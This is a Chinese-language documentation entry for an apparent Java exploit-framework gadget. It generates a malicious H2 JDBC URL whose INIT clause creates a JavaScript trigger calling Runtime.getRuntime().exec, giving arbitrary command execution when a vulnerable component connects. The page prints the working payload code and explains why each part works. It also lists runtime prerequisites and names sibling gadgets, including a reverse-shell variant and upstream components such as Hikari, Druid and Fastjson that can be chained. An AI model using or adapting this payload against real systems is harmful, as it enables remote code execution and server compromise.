- 类别:common 别名:— 优先级:30
- 作者:—
- 依赖:
com.h2database:h2(org.h2.Driver)
面向「JDBC URL 可控」场景:生成一段 H2 恶意 JDBC 连接串,利用 INIT 在连接时创建一个 JavaScript(//javascript)触发器,触发器体内直接 java.lang.Runtime.getRuntime().exec(cmd) 执行任意命令。产物是一个 JDBC URL String,是 JDBC-URL 利用链的终端 sink。
- 入口
tags:H2JdbcUrl、JdbcUrlChains、END——JDBC URL 注入家族,终端节点,需由能消费可控 JDBC URL 的上游驱动。 - 衔接
nextTags:无(终端)。 excludes:无。
@Param(name="命令", description="eg: cmd /c calc")
public String cmd = "cmd /c calc";
public String driverClassName = "org.h2.Driver";
public String getObject() {
return "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n"
+ "INFORMATION_SCHEMA.TABLES AS $$//javascript\n"
+ "java.lang.Runtime.getRuntime().exec('" + this.cmd + "')\n"
+ "$$\n";
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return this.getObject();
}逐段解释:
jdbc:h2:mem:test;MODE=MSSQLServer:内存库,切到 MSSQLServer 兼容模式(便于对INFORMATION_SCHEMA.TABLES建触发器)。init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES:在系统表INFORMATION_SCHEMA.TABLES上建一个BEFORE SELECT触发器。H2 建立连接后往往会读取该系统表,从而自动触发该触发器,无需攻击者再手动执行查询。AS $$//javascript ... $$:H2 触发器体支持用$$...$$包裹脚本,首行//javascript声明脚本语言为 JavaScript(H2 走 Nashorn/脚本引擎),绕开「触发器必须实现org.h2.api.Trigger」的常规限制。体内Runtime.getRuntime().exec(cmd)直接执行命令。invoke:与同族一致,仅写入DRIVER_CLASS_NAME_KEY=org.h2.Driver并返回 URL;不调用chain.doCreate,自足终端。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 要执行的系统命令 | cmd /c calc |
— |
(driverClassName 为固定字段 org.h2.Driver,非 @Param。)
- 依赖 H2 触发器允许
//javascript内联脚本,且目标 JRE 具备可用的 JS 脚本引擎(如 Nashorn,JDK 8~14 内置;JDK 15+ 已移除 Nashorn,需环境额外提供)。 exec(cmd)单参数会按空格粗暴分词,复杂命令需注意cmd /c/sh -c包裹与引号转义。- 相比
H2JavaReverseJdbc(内联 Java 反弹 shell)与H2RemoteJdbc(远程RUNSCRIPT),本 gadget 最短小,但受 Nashorn 可用性约束。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。与「JDBC URL 可控」类上游组合使用。
- 同族(H2 JDBC URL sink):H2JavaReverseJdbc、H2RemoteJdbc、
H2JavaJdbc1。 - 上游(消费
H2JdbcUrl/JdbcUrlChains):HikariJdbcAttack、DruidJdbcAttack、FastjsonH2Jdbc等触发getConnection(url)的组件。